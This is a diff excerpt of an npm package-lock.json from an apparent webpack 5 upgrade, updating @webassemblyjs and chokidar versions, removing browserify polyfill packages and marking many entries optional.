"@xtuc/long": "4.2.2" + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/helper-api-error": "1.11.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.1", + "@webassemblyjs/ieee754": "1.11.1", + "@webassemblyjs/leb128": "1.11.1", + "@webassemblyjs/utf8": "1.11.1" } }, "@webassemblyjs/wast-printer": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.9.0.tgz", - "integrity": "sha512-2J0nE95rHXHyQ24cWjMKJ1tqB/ds8z/cyeOZxJhcb+rW+SQASVjuznUSmdz5GpVJTzU8JkhYut0D3siFDD6wsA==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.1.tgz", + "integrity": "sha512-IQboUWM4eKzWW+N/jij2sRatKMh99QEelo3Eb2q0qXkvPRISAj8Qxtmw5itwqK+TTkBuUIE45AxYPToqPtL5gg==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/wast-parser": "1.9.0", + "@webassemblyjs/ast": "1.11.1", "@xtuc/long": "4.2.2" } }, + "@webpack-cli/configtest": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@webpack-cli/configtest/-/configtest-1.0.4.tgz", + "integrity": "sha512-cs3XLy+UcxiP6bj0A6u7MLLuwdXJ1c3Dtc0RkKg+wiI1g/Ti1om8+/2hc2A2B60NbBNAbMgyBMHvyymWm/j4wQ==", + "dev": true + }, + "@webpack-cli/info": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@webpack-cli/info/-/info-1.3.0.tgz", + "integrity": "sha512-ASiVB3t9LOKHs5DyVUcxpraBXDOKubYu/ihHhU+t1UPpxsivg6Od2E2qU4gJCekfEddzRBzHhzA/Acyw/mlK/w==", + "dev": true, + "requires": { + "envinfo": "^7.7.3" + } + }, + "@webpack-cli/serve": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/@webpack-cli/serve/-/serve-1.5.2.tgz", + "integrity": "sha512-vgJ5OLWadI8aKjDlOH3rb+dYyPd2GTZuQC/Tihjct6F9GpXGZINo3Y/IVuZVTM1eDQB+/AOsjPUWH/WySDaXvw==", + "dev": true + }, "@xtuc/ieee754": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", @@ -3362,12 +3384,36 @@ "integrity": "sha512-apwXVmYVpQ34m/i71vrApRrRKCWQnZZF1+npOD0WV5xZFfwWOmKGQ2RWlfdy9vWITsenisM8M0Qeq8agcFHNiQ==", "dev": true }, + "acorn-import-assertions": { + "version": "1.7.6", + "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.7.6.tgz", + "integrity": "sha512-FlVvVFA1TX6l3lp8VjDnYYq7R1nyW6x3svAt4nDgrWQ9SBaSh9CnbwgSUTasgfNfOG5HlM1ehugCvM+hjo56LA==", + "dev": true + }, "acorn-jsx": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.2.0.tgz", "integrity": "sha512-HiUX/+K2YpkpJ+SzBffkM/AQ2YE03S0U1kjTLVpoJdhZMOWy8qvXVN9JdLqv2QsaQ6MPYQIuNmwD8zOiYUofLQ==", "dev": true }, + "aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "dev": true, + "requires": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, + "dependencies": { + "indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true + } + } + }, "ajv": { "version": "6.12.2", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.2.tgz", @@ -3397,12 +3443,6 @@ "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=", "dev": true }, - "ansi-colors": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.2.4.tgz", - "integrity": "sha512-hHUXGagefjN2iRrID63xckIvotOXOojhQKWIPUZ4mNUZ9nLZW+7FMNoE1lOkEhNWYsx/7ysGIuJYCiMAA9FnrA==", - "dev": true - }, "ansi-escapes": { "version": "4.3.1", "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.1.tgz", @@ -3420,10 +3460,10 @@ } } }, - "ansi-html": { - "version": "0.0.7", - "resolved": "https://registry.npmjs.org/ansi-html/-/ansi-html-0.0.7.tgz", - "integrity": "sha1-gTWEAhliqenm/QOflA0S9WynhZ4=", + "ansi-html-community": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/ansi-html-community/-/ansi-html-community-0.0.8.tgz", + "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==", "dev": true }, "ansi-regex": { @@ -3445,6 +3485,7 @@ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", "dev": true, + "optional": true, "requires": { "micromatch": "^3.1.4", "normalize-path": "^2.1.1" @@ -3455,6 +3496,7 @@ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", "dev": true, + "optional": true, "requires": { "remove-trailing-separator": "^1.0.1" } @@ -3490,19 +3532,22 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", - "dev": true + "dev": true, + "optional": true }, "arr-flatten": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", "integrity": "sha1-NgSLv/TntH4TZkQxbJlmnqWukfE=", - "dev": true + "dev": true, + "optional": true }, "arr-union": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz", "integrity": "sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=", - "dev": true + "dev": true, + "optional": true }, "array-find-index": { "version": "1.0.2", @@ -3621,17 +3666,12 @@ "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", "dev": true }, - "array-uniq": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/array-uniq/-/array-uniq-1.0.3.tgz", - "integrity": "sha1-r2rId6Jcx/dOBYiUdThY39sk/bY=", - "dev": true - }, "array-unique": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", - "dev": true + "dev": true, + "optional": true }, "array.prototype.flatmap": { "version": "1.2.4", @@ -3751,53 +3791,6 @@ "safer-buffer": "~2.1.0" } }, - "asn1.js": { - "version": "5.4.1", - "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-5.4.1.tgz", - "integrity": "sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA==", - "dev": true, - "requires": { - "bn.js": "^4.0.0", - "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0", - "safer-buffer": "^2.1.0" - }, - "dependencies": { - "bn.js": { - "version": "4.12.0", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", - "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", - "dev": true - } - } - }, - "assert": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/assert/-/assert-1.5.0.tgz", - "integrity": "sha512-EDsgawzwoun2CZkCgtxJbv392v4nbk9XDD06zI+kQYoBM/3RBWLlEyJARDOmhAAosBjWACEkKL6S+lIZtcAubA==", - "dev": true, - "requires": { - "object-assign": "^4.1.1", - "util": "0.10.3" - }, - "dependencies": { - "inherits": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz", - "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=", - "dev": true - }, - "util": { - "version": "0.10.3", - "resolved": "https://registry.npmjs.org/util/-/util-0.10.3.tgz", - "integrity": "sha1-evsa/lCAUkZInj23/g7TeTNqwPk=", - "dev": true, - "requires": { - "inherits": "2.0.1" - } - } - } - }, "assert-plus": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", @@ -3808,7 +3801,8 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz", "integrity": "sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=", - "dev": true + "dev": true, + "optional": true }, "ast-types": { "version": "0.9.6", @@ -3835,7 +3829,8 @@ "version": "1.0.3", "resolved": "https://registry.npmjs.org/async-each/-/async-each-1.0.3.tgz", "integrity": "sha512-z/WhQ5FPySLdvREByI2vZiTWwCnF0moMJ1hK9YQwDTHKh6I7/uSckMetoRGb5UBZPC1z0jlw+n/XCgjeH7y1AQ==", - "dev": true + "dev": true, + "optional": true }, "async-foreach": { "version": "0.1.3", @@ -3843,12 +3838,6 @@ "integrity": "sha1-NhIfhFwFeBct5Bmpfb6x0W7DRUI=", "dev": true }, - "async-limiter": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz", - "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==", - "dev": true - }, "asynckit": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", @@ -3859,7 +3848,8 @@ "version": "2.1.2", "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz", "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==", - "dev": true + "dev": true, + "optional": true }, "autoprefixer": { "version": "9.8.6", @@ -4048,6 +4038,7 @@ "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz", "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==", "dev": true, + "optional": true, "requires": { "cache-base": "^1.0.1", "class-utils": "^0.3.5", @@ -4063,6 +4054,7 @@ "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, + "optional": true, "requires": { "is-descriptor": "^1.0.0" } @@ -4072,6 +4064,7 @@ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, + "optional": true, "requires": { "kind-of": "^6.0.0" } @@ -4081,6 +4074,7 @@ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, + "optional": true, "requires": { "kind-of": "^6.0.0" } @@ -4090,6 +4084,7 @@ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, + "optional": true, "requires": { "is-accessor-descriptor": "^1.0.0", "is-data-descriptor": "^1.0.0", @@ -4132,17 +4127,8 @@ "version": "1.13.1", "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-1.13.1.tgz", "integrity": "sha512-Un7MIEDdUC5gNpcGDV97op1Ywk748MpHcFTHoYs6qnj1Z3j7I53VG3nwZhKzoBZmbdRNnb6WRdFlwl7tSDuZGw==", - "dev": true - }, - "bindings": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", - "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==", "dev": true, - "optional": true, - "requires": { - "file-uri-to-path": "1.0.0" - } + "optional": true }, "biskviit": { "version": "1.0.1", @@ -4161,18 +4147,6 @@ "inherits": "~2.0.0" } }, - "bluebird": { - "version": "3.7.2", - "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", - "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", - "dev": true - }, - "bn.js": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.0.tgz", - "integrity": "sha512-D7iWRBvnZE8ecXiLj/9wbxH7Tk79fAh8IHaTNq1RWRixsS02W+5qS+iE9yq6RYl0asXx5tw0bLhmT5pIfbSquw==", - "dev": true - }, "body-parser": { "version": "1.19.0", "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", @@ -4245,6 +4219,7 @@ "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, + "optional": true, "requires": { "arr-flatten": "^1.1.0", "array-unique": "^0.3.2", @@ -4263,101 +4238,13 @@ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, + "optional": true, "requires": { "is-extendable": "^0.1.0" } } } }, - "brorand": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz", - "integrity": "sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8=", - "dev": true - }, - "browserify-aes": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/browserify-aes/-/browserify-aes-1.2.0.tgz", - "integrity": "sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==", - "dev": true, - "requires": { - "buffer-xor": "^1.0.3", - "cipher-base": "^1.0.0", - "create-hash": "^1.1.0", - "evp_bytestokey": "^1.0.3", - "inherits": "^2.0.1", - "safe-buffer": "^5.0.1" - } - }, - "browserify-cipher": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/browserify-cipher/-/browserify-cipher-1.0.1.tgz", - "integrity": "sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w==", - "dev": true, - "requires": { - "browserify-aes": "^1.0.4", - "browserify-des": "^1.0.0", - "evp_bytestokey": "^1.0.0" - } - }, - "browserify-des": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/browserify-des/-/browserify-des-1.0.2.tgz", - "integrity": "sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A==", - "dev": true, - "requires": { - "cipher-base": "^1.0.1", - "des.js": "^1.0.0", - "inherits": "^2.0.1", - "safe-buffer": "^5.1.2" - } - }, - "browserify-rsa": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.1.0.tgz", - "integrity": "sha512-AdEER0Hkspgno2aR97SAf6vi0y0k8NuOpGnVH3O99rcA5Q6sh8QxcngtHuJ6uXwnfAXNM4Gn1Gb7/MV1+Ymbog==", - "dev": true, - "requires": { - "bn.js": "^5.0.0", - "randombytes": "^2.0.1" - } - }, - "browserify-sign": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.2.1.tgz", - "integrity": "sha512-/vrA5fguVAKKAVTNJjgSm1tRQDHUU6DbwO9IROu/0WAzC8PKhucDSh18J0RMvVeHAn5puMd+QHC2erPRNf8lmg==", - "dev": true, - "requires": { - "bn.js": "^5.1.1", - "browserify-rsa": "^4.0.1", - "create-hash": "^1.2.0", - "create-hmac": "^1.1.7", - "elliptic": "^6.5.3", - "inherits": "^2.0.4", - "parse-asn1": "^5.1.5", - "readable-stream": "^3.6.0", - "safe-buffer": "^5.2.0" - }, - "dependencies": { - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "dev": true - } - } - }, "browserslist": { "version": "4.17.0", "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.17.0.tgz", @@ -4398,9 +4285,9 @@ } }, "buffer-from": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", - "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", "dev": true }, "buffer-indexof": { @@ -4409,75 +4296,18 @@ "integrity": "sha512-4/rOEg86jivtPTeOUUT61jJO1Ya1TrR/OkqCSZDyq84WJh3LuuiphBYJN+fm5xufIk4XAFcEwte/8WzC8If/1g==", "dev": true }, - "buffer-xor": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/buffer-xor/-/buffer-xor-1.0.3.tgz", - "integrity": "sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk=", - "dev": true - }, - "builtin-status-codes": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz", - "integrity": "sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug=", - "dev": true - }, "bytes": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=", "dev": true }, - "cacache": { - "version": "12.0.4", - "resolved": "https://registry.npmjs.org/cacache/-/cacache-12.0.4.tgz", - "integrity": "sha512-a0tMB40oefvuInr4Cwb3GerbL9xTj1D5yg0T5xrjGCGyfvbxseIXX7BAO/u/hIXdafzOI5JC3wDwHyf24buOAQ==", - "dev": true, - "requires": { - "bluebird": "^3.5.5", - "chownr": "^1.1.1", - "figgy-pudding": "^3.5.1", - "glob": "^7.1.4", - "graceful-fs": "^4.1.15", - "infer-owner": "^1.0.3", - "lru-cache": "^5.1.1", - "mississippi": "^3.0.0", - "mkdirp": "^0.5.1", - "move-concurrently": "^1.0.1", - "promise-inflight": "^1.0.1", - "rimraf": "^2.6.3", - "ssri": "^6.0.1", - "unique-filename": "^1.1.1", - "y18n": "^4.0.0" - }, - "dependencies": { - "chownr": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", - "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", - "dev": true - }, - "lru-cache": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", - "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", - "dev": true, - "requires": { - "yallist": "^3.0.2" - } - }, - "yallist": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", - "dev": true - } - } - }, "cache-base": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz", "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==", "dev": true, + "optional": true, "requires": { "collection-visit": "^1.0.0", "component-emitter": "^1.2.1", @@ -4578,23 +4408,97 @@ "dev": true }, "chokidar": { - "version": "2.1.8", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz", - "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==", + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.2.tgz", + "integrity": "sha512-ekGhOnNVPgT77r4K/U3GDhu+FQ2S8TnK/s2KbIGXi0SZWuwkZ2QNyfWdZW+TVfn84DpEP7rLeCt2UI6bJ8GwbQ==", "dev": true, "requires": { - "anymatch": "^2.0.0", - "async-each": "^1.0.1", - "braces": "^2.3.2", - "fsevents": "^1.2.7", - "glob-parent": "^3.1.0", - "inherits": "^2.0.3", - "is-binary-path": "^1.0.0", - "is-glob": "^4.0.0", - "normalize-path": "^3.0.0", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.2.1", - "upath": "^1.1.1" + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "fsevents": "~2.3.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "dependencies": { + "anymatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", + "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", + "dev": true, + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "requires": { + "is-glob": "^4.0.1" + } + }, + "is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "requires": { + "binary-extensions": "^2.0.0" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "requires": { + "picomatch": "^2.2.1" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + } } }, "chrome-trace-event": { @@ -4603,21 +4507,12 @@ "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==", "dev": true }, - "cipher-base": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.4.tgz", - "integrity": "sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==", - "dev": true, - "requires": { - "inherits": "^2.0.1", - "safe-buffer": "^5.0.1" - } - }, "class-utils": { "version": "0.3.6", "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz", "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==", "dev": true, + "optional": true, "requires": { "arr-union": "^3.1.0", "define-property": "^0.2.5", @@ -4630,6 +4525,7 @@ "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, + "optional": true, "requires": { "is-descriptor": "^0.1.0" } @@ -4658,6 +4554,12 @@ } } }, + "clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "dev": true + }, "cli-cursor": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", @@ -4749,6 +4651,7 @@ "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz", "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=", "dev": true, + "optional": true, "requires": { "map-visit": "^1.0.0", "object-visit": "^1.0.0" @@ -4828,42 +4731,18 @@ "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", "dev": true }, - "concat-stream": { - "version": "1.6.2", - "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", - "integrity": 